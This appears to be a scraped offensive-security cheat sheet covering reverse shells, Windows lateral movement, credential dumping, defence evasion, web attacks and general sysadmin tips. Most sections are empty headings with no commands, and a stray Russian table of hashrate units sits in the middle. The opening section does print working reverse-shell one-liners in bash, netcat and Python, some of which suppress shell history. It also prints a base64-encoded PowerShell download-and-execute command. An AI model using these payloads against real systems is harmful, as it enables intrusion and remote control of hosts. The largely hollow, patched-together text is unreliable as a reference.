Page cover

Reverse Shells

Bash

root@kali:$ bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
root@kali:$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f

Netcat

root@kali:$ {nc.tradentional|nc|ncat|netcat} <LHOST> <LPORT> {-e|-c} /bin/bash

Python

IPv4

root@kali:$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);s.close()'
root@kali:$ python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv("HISTFILE","/dev/null");pty.spawn("/bin/bash");s.close()'

IPv6

root@kali:$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);s.close()'
root@kali:$ python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv("HISTFILE","/dev/null");pty.spawn("/bin/bash");s.close()'

PowerShell

Invoke-Expression (UTF-16LE):

root@kali:$ echo -n "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/[1]')" | iconv -t UTF-16LE | base64 -w0; echo
PS > powershell -NoP -EncodedCommand <BASE64_COMMAND_HERE>

Invoke-WebRequest + nc.exe [1]:

System.Net.Sockets.TCPClient:

Meterpreter

PowerShell + msfvenom:

PowerShell + unicorn [1]:

Listeners

pwncat

Upgrade to PTY

File Transfer

Linux

Windows

Base64

Local file to base64:

Local string to base64 and POST:

Linux2Linux

/dev/tcp

Linux2Windows

Base64

Full base64 file transfer from Linux to Windows:

SMB

impacket-smbserver

SMB server (communicate with Windows [1]):

Mount SMB in Windows with net use:

Mount SMB in Windows with New-PSDrive:

net share

FTP

Network attacks

Sniff Traffic

tcpdump

While connected via SSH:

LLMNR/NBNS Poisoning

Responder

Inveigh

InveighZero

ARP Spoofing (ARP Cache Poisoning)

Enable IP forwarding:

dsniff [arpspoof]

Install:

Fire up the attack with Wireshark (filter ip.src == VICTIM_10.0.0.5) running:

bettercap

Deb dependencies (Ubuntu 18.04 LTS):

DHCPv6 Spoofing

mitm6

VNC

Decrypt TightVNC password:

SMB

mount

Mount:

Status:

Unmount:

smbclient

Null authentication:

With user creds:

smbmap

Null authentication:

NFS

LDAP

ldapsearch

Basic syntax:

Get base naming contexts:

Extract data for the whole domain catalog and then grep your way through:

Or filter out only what you need:

Get Remote Management Users group:

Dump LAPS passwords:

Simple authentication with ldapsearch:

Analyze large output for anomalies by searching for unique strings:

LDAPPER.py

windapsearch

Enumerate all AD Computers:

ldapdomaindump

ad-ldap-enum

Nmap NSE

AD

Dump Users from DCE/RPC SAMR

rpcclient

enum4linux

nullinux.py

samrdump.py

Tricks

List all domain users:

List all domain groups:

List all user's groups:

Create new domain user:

Create new local user and add him to local admins:

List deleted AD objects (AD recycle bin):

Misc

Abuse Privileges

SeBackupPrivilege

SeBackupPrivilege

robocopy

Remote Management

RDP

Enable RDP

Enable RDP from meterpreter:

Enable RDP from PowerShell:

Restricted Admin

RDP with PtH: RDP needs a plaintext password unless Restricted Admin mode is enabled.

Enable Restricted Admin mode:

NLA

Disable NLA:

Abusing CredSSP / TSPKG

runas /netonly

WinRM / PSRemoting

evil-winrm.rb

Install:

Run:

SMB (PsExec)

psexec.py

WMI

wmiexec.py

Dump Credentials

lsass.exe

comsvcs.dll

ProcDump

Dump and parse:

Grep for secrets:

NTDS

Locate diskshadow.exe:

Create shadow volume:

Exfiltrate over SMB:

Delete shadow volume:

Clean up:

Parse secrets:

NTLM

Responder Capture Structure

[SMB] NTLMv1 Hash and [SMB] NTLMv1-SSP Hash capture structure:

[SMB] NTLMv2-SSP Hash capture structure:

NTLM Relay

Generate relay list with CME and enumerate local admins when relaying

ExecutionPolicy Bypass

AMSI Bypass

Evil-WinRM + IEX

Memory Patching

UAC Bypass

SystemPropertiesAdvanced.exe

srrstr.dll

Compile on Kali:

DLL Hijacking

Upload srrstr.dll to C:\Users\%USERNAME%\AppData\Local\Microsoft\WindowsApps\srrstr.dll and check it:

Exec and get a shell ("requires an interactive window station"):

cmstp.exe

Bypass-UAC

AppLocker Bypass

AV Bypass

msfvenom

Veil-Evasion

Hyperion + Pescramble

GreatSCT

Install and generate a payload:

Exec with msbuild.exe and get a shell:

Ebowla

Invoke-Obfuscation

Out-EncryptedScript.ps1

Download:

Use:

Tricks

Windows Defender

Disable from command line (must be elevated):

Add path to exclusions (must be elevated):

Remove signatures (if Internet connection is present, it will be downloaded again):

Download stager with triggering Defender to scan it:

Metasploit

Debug

Information Gathering

Google Dorks

Autonomous Systems

via IP

dig:

whois:

via ASN

whois:

DNS

whois

IP/domain info, IP ranges:

dig

General:

Zone transfer:

nslookup

DNS Amplification

Check:

SMTP

Check if sender could be forged with an domain user:

Check if sender could be forged with a non-domain user:

Check if domain users could be enumerated with VRFY and EXPN:

Check if users could be enumerated with RCPT TO:

IPSec

IKE

Generate list of all transform-sets:

Brute force supported transform-sets:

Get information about vendor:

Test for aggressive mode ON:

If no hash value is returned then brute force is (maybe also) possible:

Discovery

nmapAutomator

AutoRecon

Pivoting

Chisel

  • Attacker's IP: 10.10.13.37

  • Victims's IP: 10.10.13.38

Reverse forward port 1111 from Windows machine to port 2222 on Linux machine:

Socks5 proxy with Chisel in server mode:

Socks5 proxy with Chisel in server mode when direct connection to server is not available (not relevant as Chisel now supports socks5 in client mode):

Socks5 proxy with Chisel in client mode:

revsocks

LPE

Linux

Recon

Find and list all files newer than 2020-03-16 and not newer than 2020-03-17:

Find SUID binaries:

Tools

LinEnum.sh:

lse.sh:

linPEAS.sh (linPEAS):

pspy:

Rootkits

Dirty COW

logrotate

whotwagner/logrotten:

motd

/etc/update-motd.d/:

PAM MOTD:

Windows

Recon

PowerShell history:

Tools

winPEAS:

PowerUp.ps1:

Sherlock.ps1:

Watson:

JAWS:

PrivescCheck:

Windows-Exploit-Suggester:

Registry & Filesystem

SDDL

Potatoes

foxglovesec/RottenPotato

ohpe/juicy-potato

decoder/the-lonely-potato

wuauserv

Run as Another User

PowerShell

Invoke-Command with -Credential:

Invoke-Command with -Session:

Start-Process with -Credential

Auth Brute Force

Hydra

Patator

Password Brute Force

hashcat

Benchmarks:

Единица хэшрейта
Хэшрейт
Хэши в секунду

1kH/s

1000

Тысяча

1MH/s

1000000

Одинмиллион

1GH/s

1000000000

Одинмиллиард

1TH/s

1.000.000.000.000

Одинтриллион

1PH/s

1.000.000.000.000.000

Одинквадриллион

1EH/s

1.000.000.000.000.000.000

Одинквинтиллион

1ZH/s

1.000.000.000.000.000.000.000

Одинсекстиллион

Engagement

Network Status

Host Discovery

CWD: discovery/

ARP

arp-scan

Active:

netdiscover

Passive:

Active, sending 20 requests per IP:

Hunting for Subnets

Take 10.0.0.0/8 as an example:

Passive traffic analyze. Look for broadcast/multicast, IPv6 packets:

  • ARP

  • LLMNR, NBNS

  • STP

  • DHCPv6, ICMPv6

  • mDNS

Ping Sweep

Bash:

PowerShell:

Nmap:

RMI Sweep

Remote Management Interfaces:

Port
Service

22

SSH

3389

RDP

2222

SSH?

5900

VNC

5985

WinRM

5986

WinRM over SSL/TLS

Nmap:

Invoke-Portscan.ps1:

Services

Nmap XML Parsers

parsenmap.rb:

nmaptocsv:

parsenmap.py:

Ports (Quick)

Echo:

Netcat:

Nmap:

Ports (Full)

Define which NSE scripts ran:

Look at HTTP titles:

Examine version scan:

Split version scan by service names:

AD Environment Names

Discover domain NetBIOS name:

Discover DCs' FQDN names:

Discover MS Exchnage servers' FQDN names:

Discover MS SQL servers' FQDN names:

NetBIOS Scanning

nbname (MSF)

LHF Checkers & Exploits

net_api

CVE-2008-4250, MS08-067

Check:

Exploit:

EternalBlue

CVE-2017-0144, MS17-010

Check:

Exploit:

BlueKeep

CVE-2019-0708

Check:

Exploit:

SIGRed

CVE-2020-1350

Check:

Zerologon

CVE-2020-1472

Tricks

Grep only numbers to get list of ports separated by comma:

Fast port discovery (Masscan) + versions and NSE scripts (Nmap):

Fast port discovery (Nmap) + versions and NSE scripts (Nmap):

Top TCP ports:

Port
Service

21

FTP

22

SSH

23

Telnet

25

SMTP

53

DNS

80

HTTP

88

KDC

111

SUNRPC

135

MSRPC

137

NetBIOS

139

SMB

389

LDAP

443

SSL/TLS

445

SMB

464

KPASSWD

593

HTTP RPC Endpoint Mapper

636

LDAP over SSL/TLS

873

RSYNC

1099

JavaRMI

1433

MSSQL

1521

Oracle

2049

NFS

3268

Microsoft Global Catalog

3269

Microsoft Global Catalog

3306

MySQL/MariaDB

3389

RDP

4786

Cisco Smart Install

5432

PostgreSQL

5555

HP Data Protector

5900

VNC

5985

WinRM

5986

WinRM over SSL/TLS

6379

Redis

8080

HTTP

8443

SSL/TLS

9389

Active Directory Web Services

9200

Elasticsearch

27017

MongoDB

Top UDP ports:

Port
Service

53

DNS

67

DHCP

68

DHCP

69

TFTP

88

KDC

123

NTP

137

NetBIOS

161

SNMP

162

SNMPTRAP

500

IKE

3391

RD Gateway

Nmap

Flag -A:

Enum WAF:

Generate Password List

hashcat

Potentially valid users if got any, John Doe as an example:

Common usernames:

Common patterns:

Add year and exclamation point to the end of each password:

Mutate the wordlist with hashcat rules:

Simple list for password spraying:

cewl

Tools

Bloodhound

Setup

SharpHound

Collect graphs via Ingestors/SharpHound.ps1:

Run session loop (~2 hours for best results):

Cypher

Show percentage of collected user sessions (example):

BloodHound.py

Collect graphs via BloodHound.py (with BloodHound running):

Impacket

CrackMapExec

Install bleeding-edge:

Use:

PowerView

One-liners

PowerShell ping sweep:

PowerShell auto detect proxy, download file from remote HTTP server and run it:

PowerShell manually set proxy and upload file to remote HTTP server:

Unsorted

Common AV process names:

Process Name
Vendor/Product

avp.exe

Kaspersky Internet Security

cpda.exe

End Point Security (Check Point)

MsMpEng.exe

Windows Defender

ntrtscan.exe

Trend Micro OfficeScan

tmlisten.exe

Trend Micro OfficeScan

Identify Microsoft.NET version:

Reverse & PWN

Ghidra

Download through Tor:

Install:

DBMS

MySQL/MariaDB

Oracle

TNS Poison

Nmap

odat

Install:

Usage:

MS SQL

Enable xp_cmdshell

sqsh

mssqlclient.py

mssql-cli

DBeaver

DbVisualizer

SQLite

Redis

Preparation

Install [1] or [2]:

Check if vulnarable:

Web Shell

Inject SSH PubKey

Web

LFI/RFI

PHP RFI with SMB

/etc/samba/smb.conf:

Log Poisoning

PHP

Access log (needs single ' instead of double "):

Error log:

SQLi

sqlmap

Write file:

Test WAF:

DIOS

MySQL:

Truncation Attack

Commas blocked by WAF

Write File

Read File

XSS

Redirections

Data Grabbers

Cookies

Img tag:

Fetch:

XMLHttpRequest

XSS to LFI

XSS to CSRF

If the endpoint is accessible only from localhost:

With capturing CSRF token first:

Web Security Academy

Upgrade Burp

Extensions

BApp Store:

GitHub:

Unsorted

Mindmaps

Sublime Text

Installation

Linux

Git

Add SSH key to the ssh-agent:

Test SSH key:

Docker

Installation

Linux

docker-engine

docker-compose

Python

Install/Update

pip

freeze

venv

virtualenv

virtualenvwrapper

pipenv

Workaround for TypeError: 'module' object is not callable:

Testing

doctest

doctest imported:

doctest not imported:

Linting

flake8

pylint

PyPI

twine

Misc

bpython

GPG

List keychain:

Gen key:

Gen revoke cert:

Export user's public key:

Import recipient's public key:

Sign and encrypt:

List recipients:

Verify signature:

Decrypt and verify:

VirtualBox

DHCP

Shared Folders

Dirty Network Configure

netplan

/etc/netplan/*.yaml:

Kali

Configure

Mix settings list (both for hardware install and virtualization):

VirtualBox

Guest Additions

Known issues:

Network

Configure multiple interfaces to work simultaneously:

Share Folder (old)

Mount:

Automount:

Unix

Encodings

From CP1252 to UTF-8:

Check:

Remove ANSI escape codes:

Windows/Unix Text

From Win to Unix:

From Unix to Win:

Network

Connections

Public IP

Virtual Terminal

Process Kill

Dev

C Library Path

Vangrind

OpenSSL

Encrypt/Decrypt

Generate Keys

Clear

Log Files

.bash_history

Secure Delete

Partitions

List devices:

Manage partitions:

Format:

Floppy

Checksums

Compare file hashes:

Compare directory hashes:

Permissions

Set defaults for files:

Set defaults for directories:

Fix Linux Freezes while Copying

Kernel

Remove old kernels:

Xfce4

Install xfce4:

GIFs

NTP

ImageMagick

XOR 2 images:

Tools

tar

.tar

Pack:

Unpack:

.tar.gz

Pack:

Unpack:

.tar.bz

Pack:

Unpack:

7z

Encrypt and pack all files in directory::

Decrypt and unpack:

grep/find/sed

Recursive grep:

Recursive find and replace:

Exec strings and grep on the result with printing filenames:

Find and xargs grep results:

Get absolute path of a file:

dpkg

iptables

List rules in all chains (default table is filter, there are mangle, nat and raw tables beside it):

Print rules for all chains (for a specific chains):

fail2ban

git

Syncing a forked repository:

Console Logging

script

tmux

Time in Prompt

bash

~/.bashrc (replace ! with %):

zsh

$ZSH_CUSTOM/themes/robbyrussell.zsh-theme (replace ! with %):

Fun

CMatrix

screenfetch

Windows

Secure Delete

cipher

sdelete

File:

Directory (recursively):

Disk or partition:

System Perfomance

Network

Connections and Routes

Clean Cache

Hide/unhide computer name on LAN:

Wi-Fi Credentials

Installed Software

ADS

.msc

KRShowKeyMgr

Run:

Permissions

Take own of a directory and remove it (run cmd.exe as admin):

DISM

TelnetClient

Last updated